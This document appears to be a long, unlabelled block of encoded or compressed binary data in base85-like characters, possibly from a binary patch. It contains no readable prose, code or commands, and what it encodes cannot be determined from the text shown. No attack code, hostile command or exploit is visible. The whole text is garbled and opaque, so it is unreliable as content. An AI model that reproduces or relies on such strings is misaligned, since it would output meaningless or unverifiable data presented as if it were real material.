z+H0?Ey15NB+D)C;5z5QcS=XBm)0}E_4B7rmxIv5L*js8( zxAt#UO~X`Wu~@#pp1*XSj*em{Rr+-m1%nYc$hsivPoIb>XSM($d=v6;rFGU-h(HNp z9Hw%vF0#7XC*1Wgpqp+`je@j{shuW;B~h3#M@r&4)%qP}+4>2JUAGyX*M-Xf2?Wc% z`N;xIt!cZ`R1kxP&r0<1&kw{FletX0V-}MKUWpNu(o)zTl;7o+0ZVY#c97|9jwiO+ z6v;R!)*<0NB>suVh_&yKcKiDm?v#&1)fsW6VO({7r$pY8~=nA;{qO^)JaWs`NS8*~-o_TewhyB?<_&^V=k>Qf{x4Ql0> z3bo>4=*S6th;rE}Z5;Dx4g?Y$m$y73nO-j8;N`b}207&*wNh(5N@X`C$E%HQOn<{W zvL94ZYM~-Gjg6-eybuMu=P@dZ&zrIJZgtsN)Bga=8j}!xH8QKADPg4 zMNCm%V>U<;HQ5bm^5g0dk}y@<+?L3KK(T_;Mha22Gl8|uBrP#RlG6#|sdmhu9hJOD zB#hY0tkj}6u0Y`M0fKr*iM2^ya*-qD%3um;I8B+`i&2sE*f0ntz=~NDgq9pG$6Q=g zPvhD=7vbT$tP(ISX7%S9I8U=KqcS@4_ib-sP^EUi;PAzS-mCz6h7dBi>Q|!|q0sAY zdXxch`FS?&9!|E(tcfHfMX_$eZ;JdJX@YAyQ*G z^)ubhkY7#VON2tm8-7;VA2?OC8;^wqL}>p8hfzBuEqo9LaHRCg=tei?C9D$asORs; z;6-?`x)x<8wYIgUxga^M7dE!^4M=l0bt>LMnJmur6(;9{Fr)+C@lV`l64ef*` zU~&VNATxPjjq$+9-3x)v8ctfMctlb<43;p%i%?MM6d9%Y8yr zg#F42gO?pdFx|L#eDDP0;t9cV95MJX9SOf1@I`VIwGECZnx{7x^12h6G1sW!Fmw{zG!ef}JS_h%@1?vb4M2gRt2Exd%v%03^CG zlYyY9Yib?$khz-7Be4)LJ3#{d$fNE>BS~mk9z$JXr?c*UYPf+|7I}>0A}=M5=(MO7 z9uf9amVRs|iKGr6yY-ka=NRtKrrQVEhYGR9xWkZ{W0rbYcCXvb4WuM?-)SITez9AJ zx(r%gddC{+V(G;O@5tiIu0hNOE7Q%Khve>N|KLOAK(_GSSrfB-Y$a#b$})KM)wO&1 z35=>OByfut$NDu&9C3b6Z6+_09`yZKKsmgq0|n0p$!hN_y=DscAX3clKg7bYGSw=2 z5B@gU`Wrt|rwrlOM!*=|*h;blFv~9d(vf(;EL#Gfoz9x_B=wWxL^)a$@@D^K@|#&6 zJxP5kfO3gRy;43CW;tD$WelHS`gJi)NH_azPMJ4i`4nzBi*3KCp8%W;by1^Wqy@4R zMK=x|+e$T2Ut+SU3qJ+4Fv|*UQEk&2MWc%X!9<~knX167{1>#w?-4OlFkQ+*Q^n@Lq+Z%lgNQn3ZAuzIRF!I~iSPKmR#rH+M;7=N^4wDGO^H>_~y9tHyr7niCB zr25+B*#5BAq$DC&%(b5AWU@zB&aEvGjK4+7zT!$yz2RH)Wpb>p224331In{*hL;jJ zmzm^ii06Aq^35b4nQ9Np$JtT{N^RzzN)d17vA@_YW~{?k%(u+vK8c3DHDAPhp_Nxg zJZ9N^tJCJuFrNK2IK~Xcl~h==7ID1>Wx&J1%awvb4SCgLS~H^;nH6q|&H1T4@*bW( z8mlGDeb2qL+sq;B%`v)PDxuzB_;&C!= z?{Z6uE59Yt)v_&^wisdMN_Xv}G*n3l%B_7X1co_?{#A<1Sc?9U6i=uWS?c=lkK2)7 zi~atV)bs@Lc*0ynpzbyz-?UwN)JMdxCAlv(#)k01BIFSo74}q4H_$ zO&8^iAfs7tNwhcBoSW(nEt(lB&P$9um>5}LZs&=`#OS9a+MOCovFfGLVa7X*E>rzh zRj*y}c&aUOTPGpPO-$v5p{Z|+72>o+fRGsNGwXXkUC8cNk1Zr!3VCI?5P97!v5*Y2 ze&?qP2_IKTmRbMer&E37xK#7a`u(wrisz10V%GP5I`7!yI&+;_zc-$@Br$J)JoK8x z(7|}i@7l8~%a#kL88;4!efZGgVYxh~@~{CSTSwy~LBQi5Bw&2> zLN=d&Z9V`wW)u8_=MtrAw-|Hoo4`4WP&g5o01SDxz<$xdUJX6^ z`MGUd){?3OF-Wg0h0fZC__Th`+n0tCsd{aZ>U3Dr$Xb@W4U!B@bp;M@UXFX zgmzvRD2T6K);Axw0XrYw=N1x(zMow8Oym5R6^;-o#%K9s=`zg}q(1=P2a~!di~X+u zdGpm$(qvlQY~d=E6?*kFdK>~TvROL@0^i#z5P?zmaTSeu~fJ!&Tb1Y zR>s;Q+}wq=*9ZtT_*I5lu1}*vRMPBX)n9aZ6MCdH6zh;C?UGz6Rk6%^cwmg(o~C#uH9ru+iV)q4C=7 z483})gr~4SgF&1bp9VrNn2=@)!{QY&?hb|(6ip9!>4jW;P)9A+PkyIRS!zT#ut&){%I0^8i7|OtW*_6A29uY?^hl zLCWA!X+Q>a)$KV`Q!KY{)&)6O2+(uNu~dJ+rZI&CY)QwlE`B>sXnZ!I=@Fi=Px!YD zl32z;iC3kUJ}Z5r8j0Yo5u4Q5lFg)8=o0fPTc$cqpJU5Yb98y>cdkPp$Iq1xJ(Ztp zFyCKpGn>~^8Pab@o4JRvxw6=*-Yv}$skQLPNF}8W`hAMEKK4xGSH}ZoVp}3mW(vs# zCLXpQzywSavv4+CY~t&iHSrOFOKz=29c)Do3T)i98wECZ3vA9rxM3uoYyIj8&b1l^ z2PaA%n(W;mx$IpCoX#H}q*c}`U@FwO+8nEr2?*UT_e&2ENgf-L+kaz2au$76YXce1 zlR*q*0COQ!_SM^;#nO!zIAOn-0Z1%G1kVE|J_OtA~(}{bB<)9Wf>bJ8y8o( zokI^Ytj%N+kAS0S_--m8LWy!@uPukaX;#~>ZD^bTwc=`&YpiO8b=6M#nYhD}E9&4u zYateu`T&Td^y-q@yMMvNTZlYoX=SvxRV+pI!ShF3uN2=t@rnJaK42DY6|>5H-Qrs! zzNf_}ril9<6W{gX`-S*!5Z{l*S1Z2z#U}=r`%LkPK_|?W;S(!QeXGSMmbCi5DZaJh z`?~n*#aAi5M)6%GzPaM_;~Pj$e{qaY&hLU}S)$Xs;T56^9~RdbbYd=aFTQ}=`U&h@ zUlEIF=Z39>pjdcWd46Z`dN`aVwbyN9Q$Mkpt-aEYcAFnY&aGWTAUylsw)W4#+I!{u z;T|#%2kv?JMLx~#TcpU`wtnq*qbbjw|6$NW+3uFkNYV^$>vvksG?kS&9j!Dez}#ND zQSq z46q{x5R`z*tuD5SwwPQ#qZ6klf^4Ltr3ol>rggQ*oz4^Naq611AbNoykR_OCfjt-= z!l2RcVA{if++cPm%OH~05g)mkBEl~v8_WN*gk#F+MVLcJXyH!bU@ASXZnM&Lv_8Ox&xs)D^zz- zN0sD7d3Nb6nkp^F9C2-h0TatX-uvpd=clQ|iP3_EK{ zTJXGCOEQ8}&3Oe41$iZYaEaG+24`KF=h08dUz;~mA8YD|On<*Qb0Zoh)lt2ddW1MA z^o;lBf_QHZ+r8Od!VBFt)LvBy?cVfT^)jyUFiHQFkn}r=S0w#DiBcr}0r4r4{-F32 zNf%S_Hc5X(d{2Wzt&fUNk@R1QPm%PE;`_10J}y2*((e_YBI&K-6OtaCviG?$KByKQ zF)T+gS2VRVmAbY#$%s26IaV*z84=?aezZ+(+}@LOEsq6Nad4x-s6!rpe;Y9+mgtI9 zR&{u}v0B^u2;G|QL8{}hH0VZUBf@uiGRjJ!pl1Kuk2#yG-j%aaW6mHAa%fG@5!;%f)1Z!y-f^>Gi%c%)+ezq|4m}; z0)-~b*hht^sR_Zcuga)k90=)>(E#gPh%Y14*JVb)mUEju_G812j!w zqP0}L8`a;oOiA9!re)X=q3EP+>kOn?PZISaVAv~QIF}A=kjzbO>*cKVruh%6qN4La z69Iws0S#>SLnel7Xe8-3TfdMVi-8jBY1(K^QBYE;XVG}Bc`^v9!Ij#k{(;v|IXrm) zt-E*!&m>KvAxgVtX59g%gtZ&cR(4{l()tFKNPEYq_Ihg_KNV~gnACZh{@ScL($e** z5T-v;q8hI#mlBL<5-NICzQ}YO)Ng4Ehi5?2wgcMuFdugCj|BDO!RlO0rEU`7x7wS~c|EaOblV+AM?>XU3lUHW{x=u1b64qjjf%~g$vU<2}? z=`4-r)cPW$Kv({&lh`u=Cw#6L>x60!L+jIkVp6~bJoN%v&xdt25im*(M-W@8Vzi=K zkX=^&IEg*F z98cJPkVI2eqJAF8&GjG5^$+E?BXby=*3Xjz70)hur|?OH2GMB#j-b0~yMC5+AE<5i z~ZD|8-$!ZGekppt2E-y z-x*}4na{&qjbncI!=H6-bXIp->2`)xOCIryq+4#jORQxd&|b=M&1mbi?&G@jMrS8< zN3`4;+bTh(POFSAHMZ$0#ocJZ;7_#{5E%I@iLFM0tl50>LD#H}%m*r-q()W^{X(=* zgr`$$>tZNG1}Ei~7NO?Ks!nUY$`Isu>RcF+-*6NT0EGm}q2tf^l?LTeOJ(2RvDvAR z#=|bLE7?H?ry_0EJ;cy3_l!15d<7XRAEU|lE5a)yeH)!s(zyCLPO>;JLt{P4^(t2qf-1^Q z$L&g%`kcVOsxy#m^#auwF=?AAq~a=>P*AYeg-hj<0ziN@soEf1X+x`gs5Sb^CqxUa zW>zz!?9(p>ag_8eyS=2;dW=b|)Ctcv)?_)>o)IHp8=aBUhb`GsY}>Gv-B^MdpCY?5 zZiCP>0HD?L^0huHx9tf*sqe($CZNV{Sbd$>p-&K^azEgZ-z%_SUs);eY`qcE?|t9?xCi;=};)#Ebje{ z;{Hguh|urXiu?2$+?u=Ze?SlynM*0wtlQdsXbC(vn}&8FJ8=ZvUeb*-Cf&Mduaa@8evBr!QQaSP~uB z7xq6YDoLuOllMV|j&}0o74gE?M<@PD^;-9`OnT@vnB}NsaWkf52oyONdB*XR@xCX; z$^UTWqzdz5$n$7(M{J7hF}m1dt>|M#l(Zg6E6$gteX%y@qfx#aq8Ct~NWjF%i!aPy zb}#(-2BCeB$K2;iLN{7mjpKq_3?YJiH3Wwe> zaBJ|!Ti|goxarm#7tjt&!(K4&##?n@3W>F|hO736kfaWUR=US@kMR$NuJDA)y!vI7 zGNu2Ls5Yl9g}bAZ=UmUl_+ZAIWwrFs#a)+Yv<&>`Fr)#C}&GA;S@HxBfmo*YmZl9 z=mIH-5fv3Wz|7yQFQ3u@Pna%0gVZXNYOLKJbe zr+wnA4DQz4Y%g*iG}KC>`e7@s!#nSd)3brkNP>! z&Ci4PBjmoW8?po!pQEpJV%awbJa%+`)gL1D|?sdvtqTFkgTcX@6l{;U#bCp}D z+ydq1DR-uFbCf$xxl@&!rCeER;)E;q3-VSNbJU#F?)pR~LY-&zYHbrY$vWEK@{HNZ zg~iuC(3bCWXeaJ_LLWDl|=X2X&Tt4`X(e51hBUc<- z{N7La>UQR(24#1ZWOffx(J&N&pD;42tJd3oR`ywaDOtQhl>klxQ4U^Pmg zcxUQuByVs$1{N{CJuF;obU0oCb{T8yq&}BnL^l0!V#2DduNn!UqGot}hnQ+=7 zZjooQU$xGmh~GJz7jn3>CT;!vh^u8`)cn}^_^7@Os~_h_GHDSFazsv&qE4$-?U21w zlvCm>$;=LF(E3nqNRa0tL6l{%lU6n4eSPIOd-XhHPNPU@gI}qYUu!;sSYxZ4qn=`3 zAR)X}?i^u%Uo~|UN+^jn#cS@gwvCZ4dS|Wi1}E5+n|sV2YquRNm4}vit(DZzzDzQ{ zYA*0tD~T3sV(6*b_?=XjBPVaWw9S}?NaE(b{&%A%q^MuF*&eB3 ztiOh;VGV7FOu)K!O@6zcWPTvlAm$q#N#RSKkB-yd&25wL(^{Qult9a#h|B2kX}%=E z&7O(+2VwW+kyDVR$+cezODbCF3eUV8j=IAa`5V`od5_uLUs`G$pv&&X=FM&x5;wb_ zD?Fe@Y+{zz&7hg)PO1B3vtQf%YEAx1Z&0Hf65g+3bOft4`DI?#r}>lHBegXq{>>dy zG1IrrQKK#2=`h=;M44D~`f*mDuKAqI1+Eh7J^Yb0!tb7TAj7#sM5FAQ{ElFTRC_`o zX^E>R@~rk$o2!S4W{r>hFEtz5e?Rpch{?Z zcgk$(=##hlw5C7NU)7)Y_A$< zR@hra-MPDK@^@;DFRRi|!mr@ z#854fg2s?&#WFDz?J;+@_a3)qq1oV8>i~<;{cEB8GIK8#$c2f44q-Bb6I*yc$T|CkU?rro)DF}mWA;{< zo$YV?%E#Pt>(_~BBv^>X@@>*@@ugIzhV!i zs+@wP0YONZ8cu15LSSaebCm3Q+4TY~ryk$zleMO5P?eFRBaxraufBE}11xU+EJtv_ zJYu)|kFjb}sKyyN^GWHIwrM(fpbD8?us$pIIg&~4S#u)Nrw4na(iQ(bQ8K*4a%>$D^96;gO~WQ%3XvMmP0v9mdZ)$_mIE^Ej+PB}JBMnFDakaZlakos74Zm~c zs1N^BD24e^CqYVxp&9>00-KkCrEu-g#;d1e-tEucVHdIL%J3suq;bT4?yb?*r}8%s z%w0b(Q=A-e3dJcA=X!CLho7w{Q$wG)?Dj!t{kg~q@p@NYJX|MDUXk%3h4MF#)hW~H z%Oq^&!GZSE$s7Dyc&*ku93N}{Ks%s8B+;BYk27xjOaEY?U8GJyPl!IajXw84J69y5 z!OVCM{)1QtGMRa9quXQjdF*)oudzaH2qVE^Iq(rCipuGWuP!Mqt-Uv8bX>-yL`u0^ z(bVwV5Sk(-k~GI$A~)`)wJ;2Nv((NXjUKG41`0;=%LRpIL%<6d28 zzSsB`2BMl!&572^$uB&V^*)^vmPUQJ=}X@RqHnl|X#n9A<2=xOs&Nk#i6GknlS+4U zso!JH_vH3i7ogX_*sM+GRgma%-Udmt&Zhu5RZwX}dnTz>AUCqzc@g_AWhO#)-lf}} zdpI{5-GvdPs*wcdU(iEq$HbO0I48-rkuVy4Cx(z9KOn=>O6>)yqkU)$-UoG{rST%< z*%HsyV(>4`dI&B+opGpXvO#3ybJqVALD1SZp=A zZ6PqJrph#y3C!)S1yU@Qg7J>V%VUVsc*_AFli2h=hW55sX7Sp`WE!7DxIK;MKIXB` z;mZ_HA)dZRKsTARH-yIWIXsW!-7YJAGDomX%0tG>)w!F!i%UzER90193vRy{-FYlP zE7UvUBu|6Dfd9PkPod%o{kvkvi)*eplx|KY2{c1CVlSk zDt9O~yxvWaYvuS4wRPhlwc%CpiLYwm^`3z)j<+4b8?`O(xHRK&{4kq~4uw}8GTCt7 zR_!zTSWs>&W@)+Y)|~LF9OH<5zYK?_{n5+XaynnV^3@?vL9a z4zKd|{WezgV0hJFc!AXN#bwjLgtFx;p=|jaF543+r?f>w;Z;NbK%3pilq+8e<;v%9 zxo+c#Z^a4lhCs|0UPaH=12JF3(zd+$Y3RQBS4B9{LO8==l)~%dfAKn7ie1g~TnTMc-^aGg zPGg51)0ddEQd_X-D(O>9PWiq)rB>87{H>mbH@qh?aAA*9D^|J?b&ublKQmJa2(M5NG)o$jTw~ZMZ*MM2RnZXZG`@W`~_? zRLhCYC#hWRRubY~N`{6(!RG59R`&J5v#^F?5mA)MBe$8U;f$sp7CPiLSKb| z#NFh5l~W=Iiz>W^($QGUBB#{D=Gp9oF<7BbHT9uDYV9MWEw>JI$#NieqsPngh$h}} zmNeuR-*M5w{5r3Gx6-ggm80uBE)u7bP!3GYu82j;V2jWaEogd0+LUT+kLGs;vtdcj zv5g8?mw+1T#9Y*rIH-;3zNVNx-_auO?_4B>EB>my_9^MYq9omn`E0+Of?U$8% zWDi7^>Z<6JyXhls;2xml>JdkLut8rVs|d0C$wqGPNY+S7bYeaE;*16RFes*&Z;iC)zh2l8O{VB=)_$c&lfG!)r-wy$h?u zRyO?fy?n7J*sbo?w3|;$QATeP>I!(qbc9rb(2wrpD|G(@xccbk`yb>NEwI$CCh>6q zkQr{0g6x)ro9gk?jr6c;8U5jX-0&j=TFKNK^PYi84Q5R=cm)8+-G&nDnD$@>T(=t$ z!)<1hRF>bVpUa!h=j4C5YD(l<({5CIa3Niq*mU>~ce5558&4Tr*z8RWhYv_KCe_qG z-Hg}4JXc*dHk81{d?J_ikO$|!bgk9Ts0e&T?!|11bjC~4HwBJXH(z;rG_p~tH2)*8 zzXdh880^n|)rP%1N$^>)znT5Oe+TTJfn>#CKMLBYU|$OCfxOX!Zb1z6tA@dFKA_J5 z^wT&`QJ|M(WpwEjU@xNlP-=uzX?vi8B}jln-g&VR7)2+)bOdf?Rr~A_c#IK{3g#|5 z8u|408@degvJDf`L7J=>^DbF7*PIkvSB;R`rpRSK@HM`V%C!2YPKD+R;fM|Gb0VTyD+ z&SbfWjIn;DKGfO~u#08YRueB)uQ`%n!EyB#sCqB_ta_jNC|+-}kcV-0&6gzBJY%Hb zel#=b5H%Z5h*->_b3c&XOQ+f3;B%K{x2Tjfxw}RFGjOG z^gCy6TjMtEK6E!l*eyDo$K;Z-We zyN)YP*x-VQ5y}B$^ zJk{FE^OW`NIdY|DZ~YO~inL=|(Ic(!NGqN=t`#y;KD!+#63o(l>&`%l<(Vok+Is#4L#4h@XJyeP0I-JvIW`?9q^wr$ddPF z;Z*;XywEB0ecQ4a!ycnmH_5KxXC*YkVNHZ0go?e#RQQ>hUbQ}2#XW#XwQ#=L8u zSFDnb=2q}LH+Q!pCvLd@E9%DHgbl6lqy09|z2PbK>xs-Qx18{F;R=LYS7WEyoPT9# zv^jr%NobsP5sY?u^djpzeoaj_KMlfMRzI4A7Gh6QNPSV6lLzu_dI6N8o7DU)r*X#5 z#ETf%9!iP4(3(R8YAYCKsx*^;eV1{j12D&^O~XMRK2G5O$y0%4yu1qQ4}a#4h+@RC zs#qBg3)jmYBU#2I#a`|hRK5Ay@We;Gv-=RO)U>@Q+Q|?RE)(@~oFpR5mZw*U$nCGl- zrr)NcB|VbN5qN4*i<2|NzqdGxIGdar8C7s&a7=+e9{#?$YeD_2oZv@!lXT~TmZYLf znSjvN%~wXlIH>MdBhTGO6s*EZGHvbjUXfi6PZ%{`;2RNK_(Y$mYXa;s~Lg0IJA zYL*?L@uptwdJ(E&m1z!Y925*dbi?vOB zwmdH<7?t|_Dzbt|P6^iNF3xsobj!E|$U2%+ijn_}Yw2l8DON|rae^Vlm>VM%fzhSr zIcBC|py zg-*9+`f==3g#NS3Hmsx)>j(dO>C))$3PrN6=Kz2XB@2hp$?86<8f%>Z#$mnp!Z1(t z>mJ2I^zq{eRp*7OGy0nFMtM`GI$gW_Zt<_m&^8rMH@BBqzehWs_mYf3PjHJdn7aD8 zXjapY&P2AjUETDE_>DzVqoL}o=IWeKb!Mn~T61*)523HwPA`p`$ltmAg+UlD(o^H;{786AOBo+|J-I6WzF>IPad9=)mChLc>l z_;NUPAa*<+PESl$aB8NhpAV;g$fAPN$y`1dfz#~*KI!}u;t@EFXUF~pa5@e!mk$F5 zVf0KIGKasb`MZ|C8~D44zZLv_i@!wJWK8-D9BLET{BqkcY;NkZVI!7TVzBu(UZdET zq>$)dJ_Lz27tatR+5`QI0p|%pqOBm&AF~v2TBQ4*i$tRBu7ER@?f3|Ar-=#g~?%=%%~XdEO^d_&rAOpd?M@tj)%{vvlM(nF!!GipMC@=3O*h!5kA)m z*aUgL8i&vI@ce>2UjQGH=c~TiDmTZ0>%w7hfls$j8ST51zkB$5fWHm={fxig^4H2= zBD`K?$Mh+9wF$hgWrD@vHEHWVg-_pMuXa4V&N*Abt5P8Hx%edYDtPT3n+UII0%U>L z^!Q}U`G15@8yLI)dw+!JoyS_Ds=q!^#YvXIQS_nTF*Fo}@NPWBArH zj0KsV$ceaaE(tHlbVf$wW=7n&NgQ8uRdB|?oY`6e1Q?DJtUrOGG3ftChwKO0dv#i0 zk4HZ<61{dLdRaXB$0N~I!_f?TzyY&+jh!l~x-(pyULq@ry*`y#1rtS|iSW|&uA&0x z)!OFL84c~Sc3o}trl~uGpA|JvWrL*=p6*#kJqvNMr)AOfuHpie)^@SBJ8GH=N`iS( zUukSH+(~)nB43M>^(0*6tY0@BKG~eS368)X z5v+E18bxU^!D(C+W50o9fFZyvqO-HcxMM~<;b|z=d~U*)qUi<2`pKr#=tcd~p*6{w zUw2UkvL{EMY%>ZL>1UbFfM@CC4i!J0cy=Y$B_nP8q)m;EaR)E;zN@J!{p$_&?eWE_gC)n=jWAcfg zdEn@ir4PSH{8FY_>T5|V$ko&9?{v=4CxkCeB9`Sx74ltv3og_r5;qeY5-N__B5@JD z;D%sY!A(J5!EHfrfzB3xP0(GiM6V)0;!a288a&J~N8}1)@Rs1Y#$YfAZ?T#iRfBix z7ZC};azxI@1Hp1crr;4+MKV-(Zqdg|cYvF!EfqhMPHvv6Nilc~sK1r~YBzNngU7+T zCn3~b@Y2v@+Casf6v*T!J3KB>mIGfBbQO@cVQ|D80(;D!2$600CCv2lp6 zHwJGAPBI2>3Z@x@w{g5VsB_1Ba1C1cgG=vFi#*}?@y8flheJg=e#8KpVc>_5uIF3a86iM4G!DR@%4{6ptOPHcQx`LZKi z{n};4!ZXc}Sw!lOFj?x4Ea4>~@+3EQ>Pa*9)gSq4a8&(~A_SD&i`wYqDzBRj_}N`^ z=M3eL_}ECUSleR1HO+J9d}4Gbnbld@)p^-(9PaSyC(5E!7FIH&KxT>c6k1ydM0k8r zA~0$+6ki?RgURJx|%|Yy3WFklzmSTnLeC zyiXy@WirNb+-XR_oeON{vgskhz?}mOOThUV$n$m?E%rc5?)`Brv^^~^2leILY}rf=EaaYhC$d0_PaHl<(QWL5>Wd2dx zyl932@^}JEmel0;U_eLkhaqr3F0z0F1~}vm6fLU}D-$*v1#*@(9#EK+Bbh>Ls}7M< zQb`H%RLsLTKGi(H318J=qch1|mzBLPFZ<(Rl&Tm(sl2}=qEs1Y<8hSIMp7?c`L3QE0bCq=yxQC78_50(n6U2A>{g{ zV1ppn+bp|ZhFq_(1S{mK5KjVfeIlg@axG=GQ^?grivQmt7q(+Z=v5+e?FLi+5#)Mz z1i20|kG}}H?4$|E_04u0x#FyOmQB=-;kdJ4%~NH+G*HR2S|i*!Y3m_?UzAp@pK`)K zIA--Eq!Q7YqtSj@QpJ^-LTq*2yRnuf&R3dM!UubQYmr}O+Le(?D^v$WkF}o}bU9-D! zMoz*L8P{Dr^8hl}?&3V*(q!ASta_u9t5aW61r$A2#V`N$Dp)eqo6Z$Ne$8Up2%Xwe zJiXwn!LbEJ!BO4CQ>9UnQ}M8XJ0fZN1d09zoc}yMl~AZH8@8$8b%kY5Rtf3d;p!~0 z%H9?;b3AFc!^**%-N|v5`5h7aqp`(RWVwqcqE}AL03lb6)661y%g`(u;x#@D!F`13 zO;ep-nmuS{B$;nuW>PpH1=Q%OsU@Y9?WE%+{Ju!)5|oF^N~~v}m-b{DTc<*=uaz~^ zSU1(7k0pC_)lBO?C|qUbNEc30Yb%6(IK={{1fu-nne}<+aS>}#W?><%G|OkQYr2Vz z&jL0+x6=JZy1T1*`pWQ~&X&=aHg408Wba`q4wdIAgReI4R*Ev+`+;v%2Ij@UyA=3l z%35p;epT401Q2J&L41-vQBtUzqTFNs0x16#6`mNBpU3;pL-{_@0s0Im&o~Ck{~^!? z$~B~pLAi3<7ee`b1w-itotKVy0`ugT7Yl`zNd)(6@BE|SP7SPNRV|+Jxeylt!m)Gj zYFfxzSR2B|TGuT5f}_9E+8M-Hw6Rj2(rcb(u29m(>Zmk^zZ~H)=8mlkVdu;Abji<78u99(Sx19molKIb$~$&FpgKM2qtf za@lr3mB=bKuq*-AOlAf2EzPR>uVJ{Ig3JZ}aIQf6W<;BnqVJF`&Z&xr^%<61-;S{Q zhuqkza7QNMMX_vL4ZoscmfTXD-kd5!EqK*wmS)B|(NPW0*V9=JxzVciSXmrib_#3W zT{KnX5A5+-j~$j*!jD@^)^P)5h!x2|p)vVc_~-S<&YP28S2)R};g+TlpqU3*p_p7V z1(h+sFDpSTM%FHgu@-}wm6gj_(*!{OSd}Bw;9YcqmHkvyl}xrfb)nX`1yx+!HXNtAi2wyEbyM?JVZk28LeC}zwLIxoEx)d$bo zKV2(ok#a<8%yJ+-{V}K>lNnY0T1HQ#r^X!_4rDQRWTXa9uQO`H*#XsVJ1Zjc}vRlwD>*EPQK(GsTih}9pIOjFe#yg8u+6c&ODP0 z2Rq^6LX3mHW4DnN_3H{8!78(uCyCaTo9kxg?t?zw2tyNIpCmS+N&+dOwku{qt@A;D z#*(RU)+~R2@Qm1YII8!nB=&jc>&(>4@~iXoCnKjBi_)W!^mwvWdG-!RkV@|Uu@@2C zm+eUYX2mha$ylkaVk2$S%k8#ZWmeD36?5-OffC6<0{MivS2G=H8mtEWI5oT|y%Ynx zF`;rkGsRUkI4^%)p5F0Ajrw1LbHbw~=tKSUO?mk@pWl=j|7cU>O`gwa3XjORh7oas z=@LZLN1F@LVDUPgk!pT8Y)=zae{&o<7Z_N<$_0#9{$Ow>dM_mmEJky!shkk=Y2-zb zfL?sAKCvWl3C2^#$AY_)^6Q55-I%GsR48ZT+c+B^7dsn|X&=E|Dm|ih;qEj!bjNb= zkh$DFYqg#Mf{$QW!_CrkDuXU?@CjeTA(ZPIMjwc#d--niLbAx#=%Om>()Y0{nUS$9g4 z?mVVRXh^CiU73BSOj!&p=*CaG66}@<;C*tLLL%eBu(z5(G zw8kt`NEBI0cxB^t7>f(qZQsc`) zkuzfY6Q7;ttLV9WS(;X!>-@4b-#expLvG1qw1}$FRO7vv(xe)QDaLOwk^J}U=XV_` z3s*YB?o&#vI>cAzV5O-1UAwHR6HFgx7i)R)(x+#l$2Nx{ha&deXsl{ zIfPKgm7jFfj)3S%*3XHF(fu1q+A8a!G{Fm4-;&F}Mau$9vv*yqZFY~QB`e0(t;m;1m_yrVRFAhq5NWKZrrlo@LtRuIlV|RCq+wPwA$LQIjL&QBR5u`$H+aoHcxjf-K0SZFx&XBu%4 z>fkb%<8gMjetI1^Gt$jNWG|?JwXZPIo8eljFw>!*BFR&&c1f;ksizk8dJ(YSlY6*k z){G#AH6JlxNxRYo=j+?XR@4m~^IE)QKG39T^+sm?n#m96%}TzICCTePvu z&EaBXc0Yx$*dRrjd)hxr3C(O}cinr*%{@7$`~F(g`^>qXbh$A;N{oDQ6GnI|AInSB z=*pYdaMYqW{kNFUh-u^9?Dym)OC5rc<<=yol67-85B(ihl|*NzSVMfOk4oOn1<$!` zC0C^7j@nT#cG53U-Mobjh3U6)hAmgv@};jBt{@>szYTpSbdE#YARA&KM76kBwj z68L0E{~0OvEii>9qHPB9jVf1WuPYN~jv^k(DhLaluCpV$o8ciKgkRIXT zfZ-d;S})hX9e?{j4-9qIlDPAn3y2re*z7whC1q zn*K(Y>X)~+Ui!73h+$}HQda~cBL^JiYS*E#H+=sK`84*itnaB};dtu~ zlv}B)1&ISN(K?@r7$dv~H_#-2UkdOmu-Rh+VOF{IHY`UuHVW2*?&a3EIMpt(ez#Lb z96s}oWRgaZ^uVJd>B+F(dxV&p3`yNuyYOa)LpRhKrQUqTY%M~@VPPe~y*33FhA8Q?c zINsvOc5LRASWg0w%2`zhhm+7@V})Wwd8%n@*Y+ zzBKmPkqKROW4G?L?B|!6?QtdY_)0u=mfyoVeEM*=tUqyN8C!?3Iqe9(UDbCFwSLLs z$xT0><$`^Iy=7{p!bvh;PO`dw5{H-7NWsrg()vg-OJ{uL91HXC6&X(kG;&_{$J!?M z>GnF<14iIuk>BKE4SYfnWUKEouAR7<#e1^*Wz|bu^VGsJvh4XikGgHs)Zo%7TrtFW z4;^wi>R0~-1dtDD&FViTT#!i2k}X-rH*gDqEGs;#Edj^sx5z4il9j-h35>3ODX|D) ztrvSkK8%wC`lQhKVLoGOn8&aytWoc)2SLu@S^%KR!Gir-jLB!MJIi{2KE~!l`Tqtb z_raI4bYt(?8yYR9JEV8Q1&0^zweII723S-v9}lx>MW83%mh{4qpUa&4Q4_+tQ3+Bl z&|d(@U10t7Jbyaa41-($u?SjG9QO}KlIuUt*2lr_w47E<`jGCWD3~8*;@+pPY3ZDn zQ!r{ZqTo)WZD(XM-(M}56#M=~WYi{Y&M!&mIAKcd?4g3*3V zJNQ1P9ehhWwndF2z&C%#N?80u#`7L*3+H#P@aoC=3lFYJHlBA!JUr>`VxM$qxYo!6 zvO5LdyteySjiyx%9`5w8k@H);;^g;6ig?$fyv!1V*_FH{5u9qh1!CLRnhtkjeP3>N zo_x47DVQpHK=l#dlM3laNl?*nkAbq5^PTBEv^;@@jLq^^nfjfYAr8jUeW8&BTk zSzaob%teSm(lTKBmHcinWl%8XR#m6EJvHsYFUFJu*3CPHF$F*#QkbG`&T(}I^n##!bYU8F4Bb{oAcsey zmxAdYtgklhV|9k}*6v!2Cor31*#4Dc;J^(lr*95Ht-h$8z(|*`>pALB$H!RmwHTC6S1}*(wP{NF@>Nv}2k}gu27n z`c6E_xZ{#YMBgF6-de-qkSZm@*D<9K(Z`57T1(&tR1$coW0FWjAF>cf>&|!*_<>`R zNQBzvv}Q63R4I3jBpEGZBoUFDTML=M#ILA{HA2NnVC1USUNm4O?()Pq35?{n`dBF? z?)+HXSyHA1Mowxy*~XHUsw_bnMOMU4QI0y>?^^8%EEVKhH7Z>EV=S=_txk)1D1}wf z$~4-BY0+3V5dLm|8iVAB6d-4@5n0r_PD8CLIEnaF;yuKd2u;cW${;y3X`Ai}ElwN8 zeJBzyV(}(-4`@&I|AXgu{STi1e*@2DqcT0;pT=UR4;n9c^50)EhPUN9Sm<7GM@DJC z)ze(8!Uz>&bi8kt@b`l5=RpHwi`=2%MQ)Hq?yQKVsm$2l02deR}@kmIy^eY3SmxTOjk>ZxrdCeH%t`j!tOxUE;5{MGp0U4*NR7I8m zRpg`?Wm37K&4?QzSMQkZKQy0buUlFYhz6n|m_*NfEQ2rHkC|?EBr>*EXz_uT_Bcnk z%jghJsy)up@hzNGdz_==Td3&sQMfSUqiFE@{KaW25%eMq 